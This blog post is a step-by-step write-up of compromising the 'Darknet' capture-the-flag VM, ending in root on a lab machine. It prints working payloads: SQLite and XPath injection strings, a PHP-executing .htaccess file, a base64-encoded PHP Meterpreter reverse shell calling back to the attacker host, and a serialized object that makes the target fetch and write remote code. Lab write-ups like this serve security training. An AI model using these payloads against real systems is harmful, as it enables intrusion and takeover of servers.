published on in writeup
tags: darknet

The Darkside of Darknet

It was coming up to the date of my SANS GWAPT exam when Darknet landed, which meant I couldn’t spend much time on it. Since passing that exam, Darknet became my new evening activity.

Port Scan

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          45933/udp  status
|_  100024  1          58932/tcp  status
58932/tcp open  status  1 (RPC #100024)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          45933/udp  status
|_  100024  1          58932/tcp  status

A Bit of Fuzzing

There is nothing much to see on this page, but after a quick fuzz we find a new directory.

[email protected]:~/darknet# wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.56.102/FUZZ/

==================================================================
ID	Response   Lines      Word         Chars          Request    
==================================================================

00052:  C=200     14 L	      57 W	    937 Ch	  " - access"
00181:  C=403     10 L	      30 W	    290 Ch	  " - cgi-bin"
00427:  C=403     10 L	      30 W	    288 Ch	  " - icons"

Within this directory is a file called 888.darknet.com.backup.

After reading it, we can see it’s a Virtual Host config for Apache.

<VirtualHost *:80>
    ServerName 888.darknet.com
    ServerAdmin [email protected]
    DocumentRoot /home/devnull/public_html
    ErrorLog /home/devnull/logs
</VirtualHost>

Adding 888.darknet.com into /etc/hosts takes us to a new page.

SQLi much?

This form seems to be vulnerable to SQL Injection, as entering a single quote in each field gives the following error: unrecognized token: "3590cb8af0bbb9e78c343b52b93773c9". This ‘token’ is the MD5 sum of the ' character (which tells us the form is MD5’ing the password before submission). There also seems to be basic keyword filtering, as entering phrases such as select or = in the username field produces an Illegal message.

The form requires both a username and password be present; so proceeding on the assumption devnull is a valid username, we can start testing injections.

I was able to bypass this login page by replacing the = operator with IS: username=devnull' or 'a' is 'a&password=rasta&action=Login.

SQL Admin

The next challenge we have is an SQL administrator box, where we can enter SQL commands and have them executed. No feedback is given by the page, so everything is blind. A popular approach to this, is to have the database write some data to a file. With MySQL this can be achieved by using something like select <text> into outfile <file> (assuming write permissions are present etc).

However, this is not MySQL, but SQLite. For which I had to do some Googling to find the right syntax.

attach database '/home/devnull/public_html/img/test.php' as rasta;
create table rasta.test (code TEXT);
insert into rasta.test (code) VALUES ("<?php phpinfo(); ?>");

To find the writable directory I fuzzed 888.darknet.com and since there weren’t many options, I just tried each one in turn.

00244:  C=403     10 L	      30 W	    287 Ch	  " - css"
00430:  C=403     10 L	      30 W	    289 Ch	  " - icons"
00432:  C=403     10 L	      30 W	    287 Ch	  " - img"
00435:  C=403     10 L	      30 W	    292 Ch	  " - includes"

Browsing to the page confirms it worked, and also allows us to collect some important information about the environment we’re in.

A few things to note:

disable_functions: system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec
open_basedir: /etc/apache2:/home/devnull:/tmp

These disabled functions are going to make it a right pain to do anything. To do more enumeration, I uploaded 2 more files: dir.php and file.php, which allowed me to view and read parts of the file system.

dir.php

<?php echo '<pre>'; print_r(scandir($_REQUEST['dir'])); echo '</pre>'; ?>

file.php

<?php $file = fopen($_REQUEST['file’],’r'); while(! feof($file)) { echo fgets($file). '<br />'; } fclose($file); ?>
http://888.darknet.com/img/dir.php?dir=.

Array
(
    [0] => .
    [1] => ..
    [2] => dir.php
)

Realistically, we can only traverse as far down as /home/devnull where there is a database directory, but we can’t read inside it. We can read /tmp but there is nothing in there, so that leaves /etc/apache2.

http://888.darknet.com/img/dir.php?dir=/etc/apache2

Array
(
    [0] => .
    [1] => ..
    [2] => apache2.conf
    [3] => conf.d
    [4] => envvars
    [5] => magic
    [6] => mods-available
    [7] => mods-enabled
    [8] => ports.conf
    [9] => sites-available
    [10] => sites-enabled
)

http://888.darknet.com/img/dir.php?dir=/etc/apache2/sites-enabled

Array
(
    [0] => .
    [1] => ..
    [2] => 000-default
    [3] => 888.darknet.com
    [4] => signal8.darknet.com
)
http://888.darknet.com/img/file.php?file=/etc/apache2/sites-enabled/signal8.darknet.com

ServerName signal8.darknet.com
ServerAdmin [email protected]
DocumentRoot /home/errorlevel/public_html

AllowOverride All

Signal8

Next, we can head on over to signal8.darknet.com and we find another new page.

Clicking on these links (URLs http://signal8.darknet.com/contact.php?id=1 and ?id=2) takes us to a page where we are given an email address for devnull and errorlevel.

There is a robots.txt file which contains the entry Disallow: /xpanel/. Heading over there, you see another login page.

I didn’t think this would be another SQLi challenge, so I went back to contact.php, widened my net and started fuzzing the URL.

I used the OWASP-ZAP Fuzzer for this task (I like BurpSuite, but holy hell are the Intruder restrictions annoying!) by capturing a GET request on contact.php and fuzzing on the id parameter with the Injections/All_attack.txt file from wfuzz. Regardless of the data you submit, a 200 OK is always returned, so I was focused on the size of the response body.

An empty response weighs in at anything up to 260 bytes (sometimes the body would include h3 tags and sometimes not). There were only 6 responses with a body size greater than 260 bytes, so I took a closer look at those. The following request caught my eye: count(/child::node()) because it returned the result [email protected].

This payload came from the XML.txt wordlist.

… Fast forward many hours of Googling…

XML Injection

I spent a lot of time reading up on how you could call and parse XML with PHP. In my mind, I came up with something like this:

$xml = simplexml_load_file('users.xml');
$email = $xml->xpath('/user/id/email');
echo $email;

The ID parameter is a variable defined by GET, which would probably look more like:

$xml = simplexml_load_file('users.xml');
$email = $xml->xpath('/user/[id=$GET]/email');
echo $email;

In all the examples I read, those square brackets are indeed hardcoded and can be injected into a query, just like ' with SQLi.

http://signal8.darknet.com/contact.php?id=1][1
'/user/[id=1]/email' becomes '/user/[id=1][1]/email'

This is valid and we get [email protected] as a result. I want to start finding other bits of data that I can force the page to return, but to do that I need the name of the field. Since I already know ID is a valid field, I tried to make it return that.

http://signal8.darknet.com/contact.php?id=1]/id|/email[id=1][1
1

That looks successful - I can double check with the devnull user to see if it returns a 2.

http://signal8.darknet.com/contact.php?id=2]/id|/email[id=2][1
2

The next field I found was username.

http://signal8.darknet.com/contact.php?id=1]/username|/email[id=1][1
errorlevel

Time for the holy grail, and go for password? Well that doesn’t return anything, so it’s not a valid field name. But as we’ve seen, Darknet likes to mix things up with bits of Spanish. So we can try… clave?

http://signal8.darknet.com/contact.php?id=1]/clave|/email[id=1][1
tc65Igkq6DF

We can also pull the password for devnull.

http://signal8.darknet.com/contact.php?id=2]/clave|/email[id=2][1
j4tC1P9aqmY

Ploy

After using one of the username/password combo’s to login, you are taken to another page, with a single link.

Clicking this takes you to edit.php which is a Tr0ll page. Going back a step and looking at the source code of the previous page reveals these HTML comments:

<!--<a href="ploy.php">...</a>-->
<!--rasta-mouse is my her0-->

I think he has the wrong rasta mouse :D

Heading over to xpanel/ploy.php, we are met with what looks like a file upload facility, but it’s protected by a PIN-code type challenge.

Selecting an incorrect number of checkboxes gives you the error La longitud de la clave no es la correcta! (The key length is not correct!), so we can use this to determine that the PIN is 4 in length.

Looking at the source code, each box has an associated value in the following layout:


37 58 22
12 72 10
59 17 99

Within an example POST, we can clearly see the value for each checkbox.

I went into lazy mode and used ZAP to fuzz on those values and iterate through the different combinations with the different checkbox values. The downside to this approach, is that the fuzzer isn’t smart enough to know you don’t need to repeat values, or have the same value multiple times etc; so it took a little longer than is required - but this was probably still quicker than me sitting down to code something more efficient. For a one-off task, who cares…

… 6561 HTTP requests later, I now have to somehow find the 1 request with the correct PIN. This is actually pretty easy in ZAP, as you can search your ‘fuzzed results’ - so I did an inverse search on the string Key incorrecta!.

Subida Exitosa!

My test file uploaded successfully and going back to the HTTP request, I can see the correct PIN was 37 10 59 17. But now I also have to find the uploaded file. More directory fuzzing within xpanel reveals an upload directory.

The next thing I tried, was to upload a new PHP file, but I got the error Formato invalido!. I tried to get around this using filename manipulation and embedding PHP into images etc, but the web server just wasn’t interpreting the code as PHP.

I recalled that the virtual config for signal8.darknet.com had AllowOverride All set, which means I can dynamically alter the config with a custom .htaccess file. I used this to exectute PHP from within the .htaccess file.

AddHandler application/x-httpd-php .htaccess
DirectoryIndex .htaccess
<FilesMatch "^\.htaccess">
        Order deny,allow
        Allow from all
        SetHandler application/x-httpd-suphp
</FilesMatch>
#<?php phpinfo(); ?>

This time around I saw that open_basedir is not set, so I should be able to read a lot more of the filesystem this time. But I want some sort of functional shell, I don’t want to be faffing around writing my own PHP for doing bits. So I uploaded a PHP Meterpreter payload, which gave me enough functionality to list and read files etc. I did this by putting PHP code into .htaccess to write base64 content out to a new file.

AddHandler application/x-httpd-php .htaccess
DirectoryIndex .htaccess
<FilesMatch "^\.htaccess">
        Order deny,allow
        Allow from all
        SetHandler application/x-httpd-suphp
</FilesMatch>
#<?php $content = base64_decode("PD9waHAKCmVycm9yX3JlcG9ydGluZygwKTsKIyBUaGUgcGF5bG9hZCBoYW5kbGVyIG92ZXJ3cml0ZXMgdGhpcyB3aXRoIHRoZSBjb3JyZWN0IExIT1NUIGJlZm9yZSBzZW5kaW5nCiMgaXQgdG8gdGhlIHZpY3RpbS4KJGlwID0gJzE5Mi4xNjguNTYuMTAxJzsKJHBvcnQgPSA0NDQ0OwokaXBmID0gQUZfSU5FVDsKCmlmIChGQUxTRSAhPT0gc3RycG9zKCRpcCwgIjoiKSkgewoJIyBpcHY2IHJlcXVpcmVzIGJyYWNrZXRzIGFyb3VuZCB0aGUgYWRkcmVzcwoJJGlwID0gIlsiLiAkaXAgLiJdIjsKCSRpcGYgPSBBRl9JTkVUNjsKfQoKaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgewoJJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOwoJJHNfdHlwZSA9ICdzdHJlYW0nOwp9IGVsc2VpZiAoKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgewoJJHMgPSAkZigkaXAsICRwb3J0KTsKCSRzX3R5cGUgPSAnc3RyZWFtJzsKfSBlbHNlaWYgKCgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7CgkkcyA9ICRmKCRpcGYsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsKCSRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOwoJaWYgKCEkcmVzKSB7IGRpZSgpOyB9Cgkkc190eXBlID0gJ3NvY2tldCc7Cn0gZWxzZSB7CglkaWUoJ25vIHNvY2tldCBmdW5jcycpOwp9CmlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfQoKc3dpdGNoICgkc190eXBlKSB7IApjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsKY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7Cn0KaWYgKCEkbGVuKSB7CgkjIFdlIGZhaWxlZCBvbiB0aGUgbWFpbiBzb2NrZXQuICBUaGVyZSdzIG5vIHdheSB0byBjb250aW51ZSwgc28KCSMgYmFpbAoJZGllKCk7Cn0KJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsKJGxlbiA9ICRhWydsZW4nXTsKCiRiID0gJyc7CndoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgewoJc3dpdGNoICgkc190eXBlKSB7IAoJY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOwoJY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOwoJfQp9CgojIFNldCB1cCB0aGUgc29ja2V0IGZvciB0aGUgbWFpbiBzdGFnZSB0byB1c2UuCiRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsKJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsKZXZhbCgkYik7CmRpZSgpOwo="); $file = fopen("/home/errorlevel/public_html/xpanel/uploads/shell.php","w"); echo fwrite($file,$content); fclose($file); ?>

You will of course notice that we are using suphp. At first, I tried using plain ole’ regular php but it lacks the permission to write into errorlevel’s home directory. SuPHP is able to execute PHP files with the same permissions as its owner and we can see that the suPHP module is loaded in /etc/apache2/mods-enabled/. Since we’re in /home/errorlevel it’s reasonable to assume errorlevel is also the owner of these PHP files.

A multi/handler later and we have a shell.


meterpreter > sysinfo 
Computer    : Darknet
OS          : Linux Darknet 3.2.0-4-486 #1 Debian 3.2.65-1+deb7u2 i686
Meterpreter : php/php
meterpreter > getuid 
Server username: errorlevel (1002)

The Final Dark Hurdle


Listing: /var/www
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40755/rwxr-xr-x   4096  dir   2015-04-26 15:22:35 +0100  Classes
40755/rwxr-xr-x   4096  dir   2015-04-26 16:07:45 +0100  access
100644/rw-r--r--  378   fil   2015-03-23 06:10:38 +0000  index.html
100644/rw-r--r--  157   fil   2015-04-26 15:21:11 +0100  sec.php

Listing: /var/www/Classes
=========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  163   fil   2015-04-26 15:22:35 +0100  Show.php
100644/rw-r--r--  319   fil   2015-04-26 15:27:16 +0100  Test.php

sec.php


<?php

require "Classes/Test.php";
require "Classes/Show.php";

if(!empty($_POST['test'])){
    $d=$_POST['test'];
    $j=unserialize($d);
    echo $j;
}
?>

Test.php


<?php

class Test {

    public $url;
    public $name_file;
    public $path;

    function __destruct(){
        $data=file_get_contents($this->url);
        $f=fopen($this->path."/".$this->name_file, "w");
        fwrite($f, $data);
        fclose($f);
        chmod($this->path."/".$this->name_file, 0644);
}
}

?>

#### Show.php


<?php

class Show {

    public $woot;

    function __toString(){
        return "Showme";        

}
    function Pwnme(){
        $this->woot="ROOT";

}

}

?>

So the story here is fairly self explanatory - we need to POST a serialised string to sec.php, which is passed to Test.php and Show.php. The end result is that a new file can be written to /var/www and have it chmod'd to set root as owner. Given we are using suphp, this will also execute as root and give us a root shell.

I generated placed a PHP Meterpreter payload into my /var/www folder, named it root and started apache2.

Serialization

First checked my serialization was working, using the Show class.


<?php

class Show {

        public $woot = "woot";

}

print serialize(new Show);

?>


# php pwn.php 
O:4:"Show":1:{s:4:"woot";s:4:"woot";}

# curl 192.168.56.102/sec.php -d 'test=O:4:"Show":1:{s:4:"woot";s:4:"woot";}'
Showme

So, that’s all good. Now we just need to add in the Test class with my desired values.


<?php

class Test {

        public $url = "http://192.168.56.101/root";
        public $name_file = "root.php";
        public $path = "/var/www";

}

class Show {

        public $woot = "woot";

}

$_test = (new Test);
$_show = (new Show);

print serialize(array($_test, $_show));

?>


# php pwn.php 
a:2:{i:0;O:4:"Test":3:{s:3:"url";s:26:"http://192.168.56.101/root";s:9:"name_file";s:8:"root.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";s:4:"woot";}}

# curl 192.168.56.102/sec.php -d 'test=a:2:{i:0;O:4:"Test":3:{s:3:"url";s:26:"http://192.168.56.101/root";s:9:"name_file";s:8:"root.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";s:4:"woot";}}'

Monitoring my Apache access log, I can see a GET request - a good sign!


# tail -f /var/log/apache2/access.log 
192.168.56.102 - - [13/Jun/2015:11:56:45 +0100] "GET /root HTTP/1.0" 200 1546 "-" "-"

So, time to fire up my multi/handler again…


msf exploit(handler) > exploit 

[*] Started reverse handler on 192.168.56.101:4444 
[*] Starting the payload handler...

# curl http://192.168.56.102/root.php

[*] Sending stage (40499 bytes) to 192.168.56.102
[*] Meterpreter session 3 opened (192.168.56.101:4444 -> 192.168.56.102:41202) at 2015-06-13 12:05:52 +0100

meterpreter > sysinfo 
Computer    : Darknet
OS          : Linux Darknet 3.2.0-4-486 #1 Debian 3.2.65-1+deb7u2 i686
Meterpreter : php/php
meterpreter > getuid 
Server username: root (0)

Quick, grab dat flag!


meterpreter > cat /root/flag.txt
      ___           ___           ___           ___           ___           ___           ___     
     /\  \         /\  \         /\  \         /\__\         /\__\         /\  \         /\  \    
    /::\  \       /::\  \       /::\  \       /:/  /        /::|  |       /::\  \        \:\  \   
   /:/\:\  \     /:/\:\  \     /:/\:\  \     /:/__/        /:|:|  |      /:/\:\  \        \:\  \  
  /:/  \:\__\   /::\~\:\  \   /::\~\:\  \   /::\__\____   /:/|:|  |__   /::\~\:\  \       /::\  \ 
 /:/__/ \:|__| /:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:::::\__\ /:/ |:| /\__\ /:/\:\ \:\__\     /:/\:\__\
 \:\  \ /:/  / \/__\:\/:/  / \/_|::\/:/  / \/_|:|~~|~    \/__|:|/:/  / \:\~\:\ \/__/    /:/  \/__/
  \:\  /:/  /       \::/  /     |:|::/  /     |:|  |         |:/:/  /   \:\ \:\__\     /:/  /     
   \:\/:/  /        /:/  /      |:|\/__/      |:|  |         |::/  /     \:\ \/__/     \/__/      
    \::/__/        /:/  /       |:|  |        |:|  |         /:/  /       \:\__\                  
     ~~            \/__/         \|__|         \|__|         \/__/         \/__/                 



     Sabia que podias Campeon!, espero que esta VM haya sido de tu agrado y te hayas divertido
     tratando de llegar hasta aca. Eso es lo que realmente importa!.


#Blog: www.securitysignal.org

#Twitter: @SecSignal, @q3rv0